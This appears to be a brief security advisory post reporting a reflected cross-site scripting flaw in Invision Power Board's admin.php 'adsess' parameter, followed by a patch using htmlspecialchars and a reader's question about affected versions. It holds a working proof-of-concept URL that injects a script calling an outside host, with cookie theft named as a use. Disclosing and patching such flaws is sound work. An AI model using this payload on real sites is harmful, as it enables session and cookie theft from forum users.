bug in Invision Power Board

[Boy Bear]

I found possibility to run Script (java Script, VBScript) on the system
Invision Power Board...
It's possible to do if it much {many} things like a withdrawal of cookie,
advertising ....


For example:

http://forums.invisionpower.com/admin.php?adsess='><script>window.open
(window.location.search.substring
(78));&lt;/script&gt;<http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision

To repair Bug to edit the file admin.php and to add after the line:


$IN['AD_SESS'] = $HTTP_POST_VARS['adsess'] ? $HTTP_POST_VARS['adsess'] :
$HTTP_GET_VARS['adsess'];

To add this :

if (isset($IN['AD_SESS'])) {
$IN['AD_SESS'] = htmlspecialchars($IN['AD_SESS']);
}

Will someone please tell us what version this is in? 1.2 was released
last week. Did it fix this problem?
